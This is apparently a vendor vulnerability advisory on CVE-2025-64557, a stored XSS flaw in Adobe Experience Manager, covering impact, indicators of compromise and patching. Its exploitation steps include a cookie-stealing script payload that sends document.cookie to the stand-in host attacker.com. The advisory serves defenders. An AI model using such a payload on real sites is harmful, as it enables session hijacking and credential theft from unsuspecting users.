CVE-2025-64557
Adobe Experience Manager vulnerability analysis and mitigation

Overview

CVE-2025-64557 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows low-privileged authenticated attackers to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises), AEM 6.5 LTS, and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, with the patch released the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, Feedly).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically a stored XSS variant. A low-privileged attacker can inject malicious JavaScript into vulnerable form fields within AEM; the script is persisted server-side and executes in the browser of any victim who subsequently visits the page containing the affected field. Exploitation requires the attacker to be authenticated (low privileges) and requires user interaction from a victim browsing the compromised page. The attack vector is network-based with low attack complexity and a changed scope, affecting confidentiality and integrity of the victim's session (Adobe Advisory, Feedly).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, or redirection to malicious sites. The changed scope means the impact extends beyond the attacker's own session to affect other users of the AEM instance. Confidentiality and integrity are both impacted at a low level per the CVSS scoring, with no direct availability impact (Adobe Advisory, Feedly).

Exploitation steps

  1. Authentication: Log in to the target Adobe Experience Manager instance using a low-privileged user account (e.g., a standard author or contributor account).
  2. Identify vulnerable form fields: Navigate to AEM pages or components that render user-supplied input in form fields without adequate output encoding.
  3. Inject malicious payload: Submit a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/publish the content.
  4. Wait for victim interaction: The malicious script is now persisted in the AEM content repository and will execute in the browser of any authenticated or unauthenticated user who visits the affected page.
  5. Harvest results: Collect session cookies, credentials, or other sensitive data exfiltrated to the attacker-controlled server, enabling session hijacking or further lateral movement within the AEM environment (Adobe Advisory, Feedly).

Indicators of compromise

  • Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) from low-privileged accounts containing script tags or encoded JavaScript payloads in request bodies.
  • File System / Content Repository: Presence of <script> tags, JavaScript event handlers (e.g., onerror, onload), or encoded equivalents (e.g., &#x3C;script&#x3E;) within stored AEM content nodes or JCR repository entries.
  • Network: Outbound HTTP/S requests from victim browsers to unexpected external domains shortly after visiting AEM-hosted pages; unusual DNS lookups originating from AEM author/publish environments.
  • Process/Application: AEM error logs showing unexpected JavaScript rendering or content sanitization failures; browser developer console errors related to Content Security Policy (CSP) violations on AEM pages.

Mitigation and workarounds

Adobe has released patches addressing CVE-2025-64557. Users should upgrade to AEM 6.5.24.0 or later for on-premises deployments, and AEM Cloud Service 2025.12.0 or later for cloud deployments. AEM 6.5 LTS users should apply the corresponding fix referenced in the advisory. No specific configuration-based workaround has been publicly documented; upgrading to the patched version is the recommended remediation. Organizations should also review and enforce Content Security Policy (CSP) headers on AEM instances as a defense-in-depth measure (Adobe Advisory).

Community reactions

The Center for Internet Security (CIS) issued an advisory noting multiple vulnerabilities in Adobe products that could allow for arbitrary code execution, referencing the broader APSB25-115 bulletin that includes CVE-2025-64557 (CIS Advisory). No notable individual researcher commentary or significant social media discussion specific to this CVE has been identified beyond standard vulnerability tracking and scanner coverage.

Additional resources


SourceThis report was generated using AI

Related Adobe Experience Manager vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-48359CRITICAL9.6
  • Adobe Experience Manager logoAdobe Experience Manager
  • cpe:2.3:a:adobe:experience_manager
NoYesJul 14, 2026
CVE-2026-48310HIGH8.6
  • Adobe Experience Manager logoAdobe Experience Manager
  • cpe:2.3:a:adobe:experience_manager
NoYesJul 14, 2026
CVE-2026-48355MEDIUM5.4
  • Adobe Experience Manager logoAdobe Experience Manager
  • cpe:2.3:a:adobe:experience_manager
NoYesJul 14, 2026
CVE-2026-48263MEDIUM5.4
  • Adobe Experience Manager logoAdobe Experience Manager
  • cpe:2.3:a:adobe:experience_manager
NoYesJul 14, 2026
CVE-2026-48262MEDIUM5.4
  • Adobe Experience Manager logoAdobe Experience Manager
  • cpe:2.3:a:adobe:experience_manager
NoYesJul 14, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management